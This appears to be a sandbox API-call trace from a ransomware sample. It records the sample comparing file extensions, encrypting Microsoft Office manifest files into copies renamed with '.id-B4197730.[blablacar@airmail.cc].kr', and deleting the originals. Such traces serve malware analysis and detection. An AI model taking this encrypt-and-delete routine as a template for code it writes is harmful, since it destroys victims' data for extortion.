[0101.355] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0101.355] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0101.355] lstrlenW (lpString="AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 53 [0101.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0101.356] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=1261) returned 1 [0101.356] CloseHandle (hObject=0x328) returned 1 [0101.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 0x220 [0101.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0101.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0101.356] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0101.356] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0101.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0102.446] GetLastError () returned 0x0 [0102.446] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x4ed, lpOverlapped=0x0) returned 1 [0102.447] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x4f0, lpOverlapped=0x0) returned 1 [0102.448] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0102.449] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x13e, lpOverlapped=0x0) returned 1 [0102.449] SetEndOfFile (hFile=0x36c) returned 1 [0102.449] CloseHandle (hObject=0x36c) returned 1 [0102.450] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0102.450] SetEndOfFile (hFile=0x328) returned 1 [0102.451] CloseHandle (hObject=0x328) returned 1 [0102.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0102.452] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1 [0102.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0102.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0102.452] lstrlenW (lpString=".doc") returned 4 [0102.452] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.452] lstrlenW (lpString=".docx") returned 5 [0102.452] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.452] lstrlenW (lpString=".pdf") returned 4 [0102.452] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.452] lstrlenW (lpString=".xls") returned 4 [0102.453] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.453] lstrlenW (lpString=".xlsx") returned 5 [0102.453] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.453] lstrlenW (lpString=".ppt") returned 4 [0102.453] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0102.453] lstrlenW (lpString=".zip") returned 4 [0102.453] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.453] lstrlenW (lpString=".rar") returned 4 [0102.453] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.453] lstrlenW (lpString=".bz2") returned 4 [0102.453] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.453] lstrlenW (lpString=".7z") returned 3 [0102.453] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0102.453] lstrlenW (lpString=".dbf") returned 4 [0102.453] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0102.453] lstrlenW (lpString=".1cd") returned 4 [0102.453] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0102.453] lstrlenW (lpString=".jpg") returned 4 [0102.453] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0102.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0102.454] lstrlenW (lpString=".doc") returned 4 [0102.454] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.454] lstrlenW (lpString=".docx") returned 5 [0102.454] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.454] lstrlenW (lpString=".pdf") returned 4 [0102.454] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.454] lstrlenW (lpString=".xls") returned 4 [0102.454] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.454] lstrlenW (lpString=".xlsx") returned 5 [0102.454] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.454] lstrlenW (lpString=".ppt") returned 4 [0102.454] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0102.454] lstrlenW (lpString=".zip") returned 4 [0102.454] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.454] lstrlenW (lpString=".rar") returned 4 [0102.454] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.454] lstrlenW (lpString=".bz2") returned 4 [0102.454] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.454] lstrlenW (lpString=".7z") returned 3 [0102.454] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0102.454] lstrlenW (lpString=".dbf") returned 4 [0102.454] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0102.454] lstrlenW (lpString=".1cd") returned 4 [0102.454] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0102.455] lstrlenW (lpString=".jpg") returned 4 [0102.455] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.455] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0102.455] lstrlenW (lpString="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 53 [0102.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0102.455] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=3754) returned 1 [0102.455] CloseHandle (hObject=0x328) returned 1 [0102.455] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220 [0102.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0102.456] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0102.456] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0102.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0102.456] GetLastError () returned 0x0 [0102.456] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0xeaa, lpOverlapped=0x0) returned 1 [0102.461] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xeb0, lpOverlapped=0x0) returned 1 [0102.462] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0102.462] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x13e, lpOverlapped=0x0) returned 1 [0102.462] SetEndOfFile (hFile=0x36c) returned 1 [0102.462] CloseHandle (hObject=0x36c) returned 1 [0102.463] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0102.464] SetEndOfFile (hFile=0x328) returned 1 [0102.465] CloseHandle (hObject=0x328) returned 1 [0102.465] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0102.465] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1 [0102.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0102.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0102.465] lstrlenW (lpString=".doc") returned 4 [0102.466] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.466] lstrlenW (lpString=".docx") returned 5 [0102.466] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.466] lstrlenW (lpString=".pdf") returned 4 [0102.466] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.466] lstrlenW (lpString=".xls") returned 4 [0102.466] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.466] lstrlenW (lpString=".xlsx") returned 5 [0102.466] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.466] lstrlenW (lpString=".ppt") returned 4 [0102.466] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0102.466] lstrlenW (lpString=".zip") returned 4 [0102.466] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.466] lstrlenW (lpString=".rar") returned 4 [0102.466] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.466] lstrlenW (lpString=".bz2") returned 4 [0102.466] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.466] lstrlenW (lpString=".7z") returned 3 [0102.466] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0102.466] lstrlenW (lpString=".dbf") returned 4 [0102.466] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0102.466] lstrlenW (lpString=".1cd") returned 4 [0102.466] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0102.467] lstrlenW (lpString=".jpg") returned 4 [0102.467] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0102.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0102.467] lstrlenW (lpString=".doc") returned 4 [0102.467] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.467] lstrlenW (lpString=".docx") returned 5 [0102.467] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.467] lstrlenW (lpString=".pdf") returned 4 [0102.467] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.467] lstrlenW (lpString=".xls") returned 4 [0102.467] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.467] lstrlenW (lpString=".xlsx") returned 5 [0102.467] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.467] lstrlenW (lpString=".ppt") returned 4 [0102.467] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0102.467] lstrlenW (lpString=".zip") returned 4 [0102.467] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.467] lstrlenW (lpString=".rar") returned 4 [0102.467] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.467] lstrlenW (lpString=".bz2") returned 4 [0102.467] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.467] lstrlenW (lpString=".7z") returned 3 [0102.467] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0102.468] lstrlenW (lpString=".dbf") returned 4 [0102.468] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0102.468] lstrlenW (lpString=".1cd") returned 4 [0102.468] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0102.468] lstrlenW (lpString=".jpg") returned 4 [0102.468] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.468] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0102.468] lstrlenW (lpString="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 53 [0102.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0102.469] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=1261) returned 1 [0102.469] CloseHandle (hObject=0x328) returned 1 [0102.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220 [0102.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0102.469] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0102.469] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0102.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0102.470] GetLastError () returned 0x0 [0102.470] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x4ed, lpOverlapped=0x0) returned 1 [0102.471] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x4f0, lpOverlapped=0x0) returned 1 [0102.472] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0102.473] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x13e, lpOverlapped=0x0) returned 1 [0102.473] SetEndOfFile (hFile=0x36c) returned 1 [0102.473] CloseHandle (hObject=0x36c) returned 1 [0102.481] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0102.481] SetEndOfFile (hFile=0x328) returned 1 [0102.482] CloseHandle (hObject=0x328) returned 1 [0102.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0102.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1 [0102.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0102.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0102.483] lstrlenW (lpString=".doc") returned 4 [0102.483] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.483] lstrlenW (lpString=".docx") returned 5 [0102.483] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.483] lstrlenW (lpString=".pdf") returned 4 [0102.483] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.483] lstrlenW (lpString=".xls") returned 4 [0102.483] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.483] lstrlenW (lpString=".xlsx") returned 5 [0102.483] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.483] lstrlenW (lpString=".ppt") returned 4 [0102.483] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0102.483] lstrlenW (lpString=".zip") returned 4 [0102.483] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.484] lstrlenW (lpString=".rar") returned 4 [0102.484] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.484] lstrlenW (lpString=".bz2") returned 4 [0102.484] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.484] lstrlenW (lpString=".7z") returned 3 [0102.484] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0102.484] lstrlenW (lpString=".dbf") returned 4 [0102.484] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0102.484] lstrlenW (lpString=".1cd") returned 4 [0102.484] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0102.484] lstrlenW (lpString=".jpg") returned 4 [0102.484] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0102.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0102.484] lstrlenW (lpString=".doc") returned 4 [0102.484] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.484] lstrlenW (lpString=".docx") returned 5 [0102.484] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.484] lstrlenW (lpString=".pdf") returned 4 [0102.484] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.484] lstrlenW (lpString=".xls") returned 4 [0102.485] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.485] lstrlenW (lpString=".xlsx") returned 5 [0102.485] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.485] lstrlenW (lpString=".ppt") returned 4 [0102.485] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.485] lstrlenW (lpString="C:\\Program Files\\Microsoft 